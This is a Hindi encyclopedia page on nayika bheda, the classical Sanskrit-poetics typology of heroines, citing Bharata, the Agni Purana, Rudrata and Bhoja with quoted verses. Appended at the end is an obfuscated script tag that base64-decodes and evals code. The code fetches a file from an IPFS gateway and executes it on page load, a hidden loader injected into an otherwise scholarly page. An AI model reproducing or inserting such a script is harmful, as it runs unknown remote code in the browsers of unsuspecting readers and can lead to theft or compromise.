नायिका भेद

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 07:44, 3 अप्रैल 2015 का अवतरण ('संस्कृत साहित्य में भरतमुनि के नाट्य शास्त्र मे...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

संस्कृत साहित्य में भरतमुनि के नाट्य शास्त्र में अधिकांशत: नाटकीय पात्रों के वर्गीकरण प्रस्तुत हुए हैं। "अग्निपुराण" में प्रथम बार नायक-नायिका का विवेचन शृंगार रस के आलंबन विभावों के रूप में किया गया है।

नायिका के भेद

भरत के अनुसार नायिका के आठ भेद हैं-

  1. वासकज्जा
  2. विरहोत्कंठिता
  3. स्वाधीनपतिका
  4. कलहांतरिता
  5. खंडिता
  6. विप्रलब्धा
  7. प्रोषितभर्तृका
  8. अभिसारिका।

परवर्ती लेखकों के अनुसार, जिसे "प्रकृति-भेद" कहा गया है, नायिका तीन प्रकार की होती है। उत्तमा, मध्यमा, अधमा। "अग्निपुराण" के लेखक ने नायिका के केवल एक वर्गीकरण का उल्लेख किया है : स्वकीया, परवीकया, पुनर्भू, सामान्या। इन चार भेदों में से पुनर्भू को आगे चलकर मान्यता प्राप्त नहीं हुई। रुद्रट ("काव्यालंकार", नवीं शताब्दी) तथा रुद्रभट्ट (शृंगारतिलक, 900-1100 ई.) ने एक षोडश भेद वर्गीकरण प्रस्तुत किया, जिसे परवर्ती लेखकों द्वारा सर्वाधिक प्रधानता दी गई। यह वर्गीकरण इस प्रकार है : नायिका : स्वकीया, परकीया, सामान्या। स्वकीया : मुग्धा, मध्या, प्रगल्भा। मध्या तथा प्रगल्भा : धीरा, मध्या (धीराधीरा), अधीरा। मध्या तथा प्रगल्भा; पुन: ज्येष्ठा, कनिष्ठा। परकीया : ऊढा, अनूढा (कन्या)।

काव्यशास्त्रीय ग्रंथों में नायिका-भेद

नायिका की चर्चा कामशास्त्र के पश्चात् अग्निपुराण में है, भरतमुनि के मत का अनुसरण करते हुए भोजदेव ने नायिका भेद का निरूपण सविस्तार किया है। भोज ने भी यह भेद स्वीकारा है-

                                    गुणतो नायिका अपि स्यादुत्तमामध्यमाधमा।
                                    मुग्धा मध्या प्रगल्भा च वयसा कौशलेन वा।।
                                    धीराअधीरा च धैर्येण स्पान्यदीया परिग्रहात्।
                                    ऊढानूढोपयमनात् क्रमाज्ज्येष्ठा कनीयसी।।
                                    मानद्र्धेरूद्धतोदात्ता शान्ता च ललिता च सा।
                                    सामान्या च पुनर्भूश्च स्वैरिणी चेति वृत्तितः।।
                                    आजीवतस्तु गणिका रूपाजीवा विलासिनी।
                                    अवस्थातोअपरा चाष्टौ विज्ञेयाः खण्डितादयः।।

'श्रृगारप्रकाश‘ में नायिका भेद अधिक विस्तार के साथ वर्णित है। यहां, अधमा और ज्येष्ठा नायिकाएं उल्लिखित नहीं हैं। स्वकीया एवं परकीया के पृथक-पृथक भेद बताये गये हैं- उत्तमा, मध्यमा, कनिष्ठा, ऊढा, अनूढा, धीरा, अधीरा, मुग्धा, मध्या और प्रगल्भा। भेदोपभेदों का समग्रतः क्षता, यातायात और यायावरा चार भेद तथा सामान्या के-ऊढा, अनूढा, स्वयंवरा, स्वैरिणी एवं वेश्या ये पांच भेद किये गये हैं। भोज ने अपने ग्रन्थ में मध्या और प्रगल्भा के ‘धीरा अधीरा‘ संज्ञक तृतीय भेद को नहीं स्वीकारा एवं उन्होंने ज्येष्ठा का नामोल्लेख न करके ‘पूर्वानूढ़ा’ को ही ज्येष्ठा अंगीकार किया है। सामान्यता नायिका के भोजकृत भेद विवेचन को शास्त्र में अपूर्व ही मानना पड़ेगा। इसके पश्चात् ‘मन्दार-मरन्दचम्पू’ग्रन्थ में कृष्णकवि ने ‘क्षता, अक्षता’ आदि नायिका-विवेचन में भोजदेव का उल्लेख किया है।


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>